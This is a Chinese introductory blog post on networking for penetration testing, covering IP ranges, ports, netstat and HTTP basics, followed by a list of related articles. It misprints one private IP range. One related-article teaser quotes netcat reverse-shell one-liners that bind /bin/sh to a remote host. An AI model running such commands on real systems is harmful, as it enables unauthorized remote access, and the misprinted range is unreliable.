渗透测试之网络基础

news2024/7/6 17:49:48

文章目录

  • 1. TCP/IP体系结构
  • 2. 什么是IP地址
    • 2.1 内网IP
    • 2.2 公网IP
    • 2.3 公网IP与内网IP的关系
    • 2.4 判断IP地址是公网或内网
  • 3. 什么是TCP逻辑端口
    • 3.1 端口的定义
    • 3.2 查看开启的端口
  • 4. HTTP超文本传输协议
    • 4.1 什么是HTTP
    • 4.2 HTTP协议特点
    • 4.3 请求消息——request
    • 4.4 HTTP的请求方式
    • 4.5 响应消息——respond
    • 4.6 响应状态码

1. TCP/IP体系结构

在这里插入图片描述

2. 什么是IP地址

IP地址:电子设备(计算机)在互联网上的唯一标识,用来在互联网上寻找电脑。

2.1 内网IP

定义:路由以内的网络,可连互联网,互联网不能直接连内网(端口映射),范围为

  • 10.0.0.0 ~ 10.255.255.255
  • 172.16.0.0 ~ 172.31.255.255
  • 192.168.0.0 ~ 192.158.255.255。

优点:安全,解决IPv4地址耗尽问题。
缺点:互联网无法直接连接到内网,如自己搭建一个网站,只有和我使用同一个路由器的人才能访问。

2.2 公网IP

公网IP:互联网IP地址,范围为0.0.0.0~255.255.255.255
优点:可以直接和互联网资源互通
缺点:安全性较低,IPv4地址资源耗尽。

2.3 公网IP与内网IP的关系

IP地址就像家庭地址一样,公网IP是小区地址,小区又有很多住户,内网IP就是你家具体的门牌号。

2.4 判断IP地址是公网或内网

1.如果使用了路由器,一定是内网,一般一个公司或小区共有一个公用IP地址
2.在电脑命令行输入ipconfig查看以太网IP地址(WIFI查看无线网络适配器IP地址)

在这里插入图片描述

3.打开百度输入IP,查看IP地址,如不一样,则自己使用的是内网。

在这里插入图片描述

3. 什么是TCP逻辑端口

3.1 端口的定义

端口是应用程序(服务)在计算机中的唯一标识,可认为是设备与外界通讯交流的出口。端口可分为虚拟端口物理端口,其中虚拟端口指计算机内部或交换机路由器内的端口,不可见。

在这里插入图片描述

源端口(客户机)端口随机,目标端口(服务器)端口固定开始监听,端口范围为0~65535。

3.2 查看开启的端口

Windows系统:netstat -ano
Linux系统:netstat -anltup

在这里插入图片描述

4. HTTP超文本传输协议

4.1 什么是HTTP

HTTP超文本传输协议定义了浏览器和客户端传输数据的格式

4.2 HTTP协议特点

  • 基于TCP/IP协议
  • 默认端口是80
  • 请求和响应是一 一对应
  • 每次请求相互独立,是无状态协议

4.3 请求消息——request

在这里插入图片描述
在这里插入图片描述

4.4 HTTP的请求方式

HTTP常见有八种(所有不止八种)请求方式,常用GET、POST。

  • GET请求:请求参数在URL地址中,URL有长度限制,只能传输字符数据。
  • POST请求:请求参数在请求体中,无大小限制,可以传输字符或字节(图片、软件等)数据。

在这里插入图片描述
在这里插入图片描述

4.5 响应消息——respond

在这里插入图片描述

4.6 响应状态码

服务器告诉浏览器本次请求和响应的状态:

  • 1xx:服务器接收浏览器消息未完成,发送1xx状态码
  • 2xx:成功,200
  • 3xx:重定向,301(永久重定向),302(临时重定向),304(访问缓存)
  • 4xx:客户端错误,403(没有权限访问),404(没有找到对应资源),405(请求方法不被允许)
  • 5xx:服务器错误,500(服务器内部出现异常)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1866910.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【研究】大模型应用场景分类与硬件升级

大模型应用#1:从Chatbot到AI Agent,个人助理重塑手机应用生态 AI大模型的能力进步推动Chatbot在C端广泛“出圈”。Chatbot(聊天机器人)通过自动化方式来处理和回复用户输入,可以模拟人类对话,通过文字或语…

软考系统架构师考试考点整理就看这一篇

软考系统架构师考试考点整理就看这一篇 最近软考成绩出来了不少同学与笔者沟通,聊到软考现在越来越难了,考了两三次都没过,也有不少新同学咨询软考考试的一些福利政策,投入大量的物力,财力,精力&#xff0c…

MySQL笔记——索引

索引 SQL性能分析使用原则SQL提示覆盖索引前缀索引单列索引和联合索引索引设计原则 学习黑马MySQL课程,记录笔记,用于复习。 查询建表语句: show create table account;以下为建表语句: CREATE TABLE account (id int NOT NULL …

反弹shell 纯干货版 --D--K--盾

本文主要讲解我已知的CTF中对VPS的利用的教程模块,所以本篇文章将会持续更新并且有改动 解密base64会解锁新大陆: REvnm77lrpjmlrnnvqTvvJo3MjcwNzcwNTU弹shell 弹shell有很多种类 NC nc ip port -e /bin/sh nc -e /bin/sh ip port //这种版…

从中序与后序遍历序列构造二叉树-二叉树题型

106. 从中序与后序遍历序列构造二叉树 - 力扣(LeetCode) right要再left前面 如下如,后序为第一行,最后一个是根; 中序为第二行,中间的为根; 通过后序的最后一个元素从中序中找到根&#xff0…

NodeJs 使用中间件实现日志生成功能

写在前面 今天我们实现一个记录 nodejs 服务请求日志的功能,大概的功能包括请求拦截,将请求的信息作为日志文件的内容写入到 txt 文件中,然后输出到指定的日志到当天日期目录中,从而实现后续查找用户请求信息的功能,下…

三级医院智慧医院信息化规划方案(65页PPT)

方案介绍: 该方案通过信息化手段实现医院信息化全覆盖,优化诊疗流程、提高诊疗效率和准确性;同时实现医疗资源的合理配置和共享,提升医疗服务质量。通过优化患者就医流程、提供便捷的服务和宣传健康知识等方式提高患者满意度。通…

SpringBoot优点达项目实战:获取系统配置接口(三)

SpringBoot优点达项目实战:获取系统配置接口(二) 文章目录 SpringBoot优点达项目实战:获取系统配置接口(二)1、查看接口2、查看数据库3、代码实现1、创建实体类SysConfig2、创建返回数据的vo3、创建control…

【Unity】RPG2D龙城纷争(六)关卡编辑器之角色编辑

更新日期:2024年6月26日。 项目源码:第五章发布(正式开始游戏逻辑的章节) 索引 简介一、角色编辑模式1.将字段限制为只读2.创建角色(刷角色)3.预览所有角色4.编辑选中角色属性5.移动角色位置6.移除角色 简介…

postgres数据库的流复制

1. 流复制和逻辑复制的差异 逻辑复制和流复制最直观的不同是,逻辑复制支持表级别复制区分点事原理不同 逻辑日志是在wal日志产生的数据库上,由逻辑解析模块对wal日志进行初步的解析,解析结果是ReorderBufferChange(理解为HeapTup…

EOS Black延迟高如何处理 EOS Black延迟高这样降低

EOS Black中,玩家可以根据自己的喜好和策略,随心所欲地雕琢人物属性,选择装备属性,搭配千变万化的技能,甚至还可以自定义职业,打造出最适合自己的角色。这种自由度极高的玩法,让玩家能够真正体验…

3D Web轻量引擎HOOPS Web Platform赋能AEC行业数字化,高效渲染与多格式支持!

在建筑、工程和施工(AEC)行业,数字化转型和高效协作正变得越来越重要。为应对日益复杂的项目需求和不断提升的质量标准,AEC企业需要一种强大的工具来实现高效的3D可视化和数据管理。HOOPS Web Platform作为一款综合性3D开发平台&a…

数字图像分析(第二部分)

文章目录 第8章 图像分割图像分割定义阈值分割依赖像素的阈值选取Otsus方法依赖区域的阈值选取依赖坐标的阈值选取变化阈值法区域生长法分裂合并方法分水岭算法聚类分割算法K-meansAP算法Graph cut第9章 图像特征表达基于全局特征的图像表达直方图GIST基于局部特征的图像表达简…

【护眼科普】台灯怎么选对眼睛好?五大适合学生写作业的台灯推荐

作为一位家长,我深切地领悟到保护孩子眼部健康的至关重要性。随着科技的日新月异,孩子们愈发频繁地接触和使用各类电子设备,如平板电脑、手机和电视,屏幕时间几乎占据了他们日常生活的相当一部分。然而,不容忽视的是&a…

openlayers性能优化——开启图层预加载、减少空白等待时间

使用切片图层时、地图拖拽会有空白图片,为了减少空白等待时间,我们可以开始图层预加载。 const map_top new Map({layers: [new TileLayer({preload:Infinity, //预加载source: new StadiaMaps({layer: "outdoors",}),}),],target: "ma…

【5】apollo编写python节点步骤及实例

在workspace/modules下新建包buildtool create --template component modules/test_one 编译包 buildtool build -p modules/test_two/ 增加自己的proto消息 在刚才自动生成的proto文件里面添加自己定义的消息,记得重新编译. syntax "proto2";package apollo;…

网络编程基础知识拾遗:用大白话解释什么是交换机、路由器、光猫、IP地址和子网掩码、公网和内网IP、端口和域名

二层交换机 在没有二层交换机的环境中,两台电脑或多个电脑之间的通信主要依赖于直连方式或共享介质。假如你和你的舍友都有一台电脑,当你们之间想要进行通信的时候,在没有二层交换机的情况下,可以使用网线(为了方便理…

SpringBoot中使用多线程调用异步方法,异步方法有无返回值例子。

快速了解Async注解的用法,包括异步方法无返回值、有返回值,最后总结Async注解失效的几个坑。 在我们的 SpringBoot 应用中,经常会遇到在一个接口中,同时做事情1,事情2,事情3,如果同步执行的话&a…

发电机保护屏产品介绍,组成

发电机保护屏产品介绍,组成 发电机保护屏是用于保护发电机组的电气装置。它根据发电机的类型和实际运行要求,将多种保护装置组合在一起,形成一个保护屏柜。发电机保护测控屏是指把发电机类保护装置集中在安装在一个控制柜里,主要用…

【软件下载】Folx详细安装教程视频-Folx软件最新版下载

根据大数据调查表明Acceleration PRO下载:抽出多达10个流的故障能够显着提高下载速度。根据行业数据显示与iTunes PRO集成:通过将Folx集成到iTunes来下载歌曲和视频,能够在下载后立即自动添加到iTunes库。实际上我们可以这样讲通过代理下载&a…